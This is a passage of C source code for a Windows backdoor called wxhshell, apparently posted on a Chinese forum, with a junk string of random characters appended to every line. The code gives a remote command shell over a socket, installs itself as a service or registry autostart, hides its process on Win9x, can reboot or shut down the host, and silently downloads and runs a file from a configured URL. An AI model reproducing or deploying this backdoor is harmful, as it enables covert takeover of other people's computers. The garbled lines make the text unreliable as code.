  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Q7cQ2[EU  
  else :!omog  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j@1rVOmK  
  } *>Z|!{bI  
  else { 3Lxk7D>0c  
RB5fn+FiZ  
    switch(cmd[0]) { {VWUK`3  
  zj!&12w%3  
  // 帮助 B,sv! p+q5  
  case '?': { 5xZ*U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u$%>/cv  
    break; FzOr#(^  
  } cD-.thHO  
  // 安装 A>"v1Wk  
  case 'i': { 4(aDi;x"w  
    if(Install()) zE{@'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;T0Y= yC  
    else P# o/S4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Jo3>!,j  
    break; dzY B0vut@  
    } 39;Z+s";  
  // 卸载 =*q|568  
  case 'r': { lVywc:X  
    if(Uninstall()) R jO9E.nm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I0 y+,~\  
    else =<-tD<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 55vpnRM  
    break; Z+!3m.q  
    } aqvt$u8  
  // 显示 wxhshell 所在路径 >3H/~ Y  
  case 'p': { tuA,t  
    char svExeFile[MAX_PATH]; *_<P% J  
    strcpy(svExeFile,"\n\r"); Lc>9[! +#  
      strcat(svExeFile,ExeFile); ;!<WL@C~  
        send(wsh,svExeFile,strlen(svExeFile),0); Wt +, 6Cq  
    break; RUTlwTdv  
    } h+mM  
  // 重启 t#+X*'/  
  case 'b': { R5LzqT,/N:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 15Vb`Vf`N  
    if(Boot(REBOOT)) #C?T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |H67ny&K^&  
    else { %Z-^Bu8;y  
    closesocket(wsh); i2{xW`AcUh  
    ExitThread(0); fP`g#t)4Tu  
    } /^~3Ib8Fw+  
    break; lAsDdxB`  
    } rs01@  
  // 关机 ,63hO.4M  
  case 'd': { t&UPU&tY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /#Y)nyE  
    if(Boot(SHUTDOWN)) pv2_A   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . xT8@]  
    else { s)$N&0\  
    closesocket(wsh); e";r_J3w  
    ExitThread(0); U;n$  
    } 7%Zl^c>q  
    break; 4!Ez#\  
    } wiWpzJz  
  // 获取shell F]~rA! g1  
  case 's': { x^aqnKoJ%\  
    CmdShell(wsh); uX{n#i,~L  
    closesocket(wsh); = GirUW D  
    ExitThread(0); I__|+%oC  
    break; ag^L' h$  
  } !j8h$+:K  
  // 退出 37 )Dx  
  case 'x': { qkC+9Sk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w]n20&  
    CloseIt(wsh); :.!]+#Me  
    break; 96aA2s1  
    } :>to?~Z1  
  // 离开 dzZ74FE!t  
  case 'q': { yH>`Kbf T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i<|5~tm  
    closesocket(wsh); @psyO]D=j%  
    WSACleanup(); }7CMXw [  
    exit(1); .op: 2y9]  
    break; 0bxB@(NO  
        } 3X$)cZQ  
  } .$+]N[-=  
  } ZCi~4&Z#  
I]P'wav~O  
  // 提示信息 E6n3[Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kVs'>H@FY  
} =>Y b~r71  
  } O"4Q=~Y  
^yUel.N5"  
  return; l%*KBME  
} ryzz!0l  
c0]^V>}cl  
// shell模块句柄 ]]{$X_0n  
int CmdShell(SOCKET sock) D3V5GQ\=  
{ W B)<B  
STARTUPINFO si; X3#/|>  
ZeroMemory(&si,sizeof(si)); 2"lDKjj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V6"<lK8"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7QP%Pny%  
PROCESS_INFORMATION ProcessInfo; x[7jm"Pz  
char cmdline[]="cmd"; fk)ts,p?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tS,nO:+x  
  return 0; |du@iA]dP  
} *,hS-  
LtKiJ.j?A  
// 自身启动模式 t3K7W2bz  
int StartFromService(void) D.o|pTZ  
{ }fnp}L  
typedef struct trmCIk&Fkj  
{  lk{  
  DWORD ExitStatus; XnrOC|P$  
  DWORD PebBaseAddress; ]Mi ~vG q  
  DWORD AffinityMask; ?P[uf  
  DWORD BasePriority; Z^,C><Yt  
  ULONG UniqueProcessId; 5Jq~EB{"  
  ULONG InheritedFromUniqueProcessId; i rMZLc6  
}   PROCESS_BASIC_INFORMATION; w#eD5y~'oo  
Y 3r m')c  
PROCNTQSIP NtQueryInformationProcess; D8N}*4S  
5Z}]d@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SCE5|3j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {.$5:<8aC  
,wE]:|`qJ  
  HANDLE             hProcess; -frmvNJ F  
  PROCESS_BASIC_INFORMATION pbi; ARAC'F0  
FR9qW$B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R%o:'-~  
  if(NULL == hInst ) return 0; AEx I!  
S?nk9 T+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %o9@[o .]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `E>HpRcxD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aO('X3?  
ZB GLwe  
  if (!NtQueryInformationProcess) return 0; Xn-GSW3{  
\y^Od7F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M>dP 1  
  if(!hProcess) return 0; I&]d6,  
XVAy uuTg\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4>nY't;0  
E%OY7zf`%  
  CloseHandle(hProcess); e>~g!S}G  
b{<qt})  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q}>1Rr|U`  
if(hProcess==NULL) return 0; ?D-1xnxep  
duB{ 1  
HMODULE hMod; !/+ZKx("9  
char procName[255]; o9ZHa  
unsigned long cbNeeded; GVk&n"9kp  
:@)UI,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); / PG+ s6  
$Z6g/bD`E  
  CloseHandle(hProcess); mZ 39 s  
dt(~)*~R  
if(strstr(procName,"services")) return 1; // 以服务启动 ;]zV ?9  
lY/{X]T.(  
  return 0; // 注册表启动 0xrr9X<  
} QQUeY2}  
\O5`R-  
// 主模块 )&]gX  
int StartWxhshell(LPSTR lpCmdLine) ,/AwR?m  
{ gRv5l3k  
  SOCKET wsl; #j -bT4!  
BOOL val=TRUE; P'f =r%  
  int port=0; m7wD#?lm  
  struct sockaddr_in door; CY#|VE M  
r(xh5{^x  
  if(wscfg.ws_autoins) Install(); O6Bs!0,  
)o)<5Iqh  
port=atoi(lpCmdLine); }&D~P>1  
h\\fb[``  
if(port<=0) port=wscfg.ws_port; OJiW@Z_\  
RY'f%c  
  WSADATA data; _@9[c9bO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B.CUk.  
xF: O6KL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &<6E*qM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *,<A[XP  
  door.sin_family = AF_INET; vdw5T&Q{{C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z<aBGG  
  door.sin_port = htons(port); tJ[yx_mf  
YXI_ '  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KBJw7rra  
closesocket(wsl); pSp/Qpb-B  
return 1; Fb=(FQ2Y?  
} q/U(j&8W{  
4-;"w;  
  if(listen(wsl,2) == INVALID_SOCKET) { {Q],rv|;  
closesocket(wsl); FY_.Vp  
return 1; d%_=r." Y  
} /aS=vjs  
  Wxhshell(wsl); |{ W4JFKJ  
  WSACleanup(); l?pF?({  
pgbm2mT9  
return 0; 4?Pdld  
FJ0Ity4u6  
} gU\pP,a  
gY\X?  
// 以NT服务方式启动 -&4>>h9 _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (5- w>(  
{ 68Po`_/s  
DWORD   status = 0; nZZNx  
  DWORD   specificError = 0xfffffff; JPQWRK^  
|,3s]b`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n^aSio6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !v/5 G_pr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2N*XzVplN  
  serviceStatus.dwWin32ExitCode     = 0; Q#"p6ZmI  
  serviceStatus.dwServiceSpecificExitCode = 0; wZ6D\I  
  serviceStatus.dwCheckPoint       = 0; d: D`rpcC  
  serviceStatus.dwWaitHint       = 0; o V"d%ks  
xxjg)rVuy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e ewhT ^  
  if (hServiceStatusHandle==0) return; {gh41G;n  
2gM=vaiH=  
status = GetLastError(); kFKc9}7W  
  if (status!=NO_ERROR) _8t5rF  
{ I5]=\k($  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1o"/5T:S[  
    serviceStatus.dwCheckPoint       = 0; |vW(;j6  
    serviceStatus.dwWaitHint       = 0; .{+KKa $@G  
    serviceStatus.dwWin32ExitCode     = status; +8qtFog$\g  
    serviceStatus.dwServiceSpecificExitCode = specificError; o6`4y^Q{/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c%1k'Q  
    return; @}[>*Xy%  
  } ;fomc<  
.EeXq }a[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U%%fKL=S  
  serviceStatus.dwCheckPoint       = 0; ;W%nBdE6|  
  serviceStatus.dwWaitHint       = 0; (NfP2E|B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tUX4#{)q(j  
} y cYT1Sg 8  
2iOn\ ^]x  
// 处理NT服务事件,比如:启动、停止 vHR-mQUs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VB>KT(n-b  
{ l e+6;'Q  
switch(fdwControl) S&/</%  
{ 3 #GZ6:rVJ  
case SERVICE_CONTROL_STOP: GX2aV6}  
  serviceStatus.dwWin32ExitCode = 0; 48%-lkol)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oh*Hzb  
  serviceStatus.dwCheckPoint   = 0; m$N` Xj  
  serviceStatus.dwWaitHint     = 0; wq yw#)S  
  { @ig'CF%(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x_za R}WI  
  } 6,C2PR_+  
  return; 3V=(P.ATm  
case SERVICE_CONTROL_PAUSE: aq~>$CHa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /$NDH]a  
  break; y?=W  
case SERVICE_CONTROL_CONTINUE: $ti*I;)h4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U'(Exr[  
  break; L{`S^'P<  
case SERVICE_CONTROL_INTERROGATE: 5mzOr4*0  
  break; &UzeNL"]  
}; =BD}+(3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %=p:\+`VI  
} s P=$>@3  
BR&T,x/d  
// 标准应用程序主函数 ]5(T{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _#[~?g`  
{ SCwAAE9s]  
RF3?q6j ,  
// 获取操作系统版本 (EW<Ggi  
OsIsNt=GetOsVer(); 5>9KW7^L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i4<&zj})  
-,xCUG<g  
  // 从命令行安装 :Y? L*  
  if(strpbrk(lpCmdLine,"iI")) Install(); "i jpqI  
EY~b,MIL4  
  // 下载执行文件 4%!#=JCl  
if(wscfg.ws_downexe) { (<M^C>pldf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?yAp&Ad  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q 6>7{\8l  
} W&M=%  
eZ>KA+ C[  
if(!OsIsNt) { 2Y~UeJ_\Lq  
// 如果时win9x,隐藏进程并且设置为注册表启动 TtZZjeg+V  
HideProc(); TcB^Sctf  
StartWxhshell(lpCmdLine); P9d%80(b4  
} mM`zA%=  
else jM <=>P  
  if(StartFromService()) /"~ D(bw0=  
  // 以服务方式启动 PK&3nXF%4  
  StartServiceCtrlDispatcher(DispatchTable); C\-Abq c  
else By3y.}'Ub9  
  // 普通方式启动 X?6E0/r&9  
  StartWxhshell(lpCmdLine); [^N8v;O  
4Cd#S9<ed  
return 0; w$5~'Cbi  
}
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只看该作者 1 发表于: 2006-10-10
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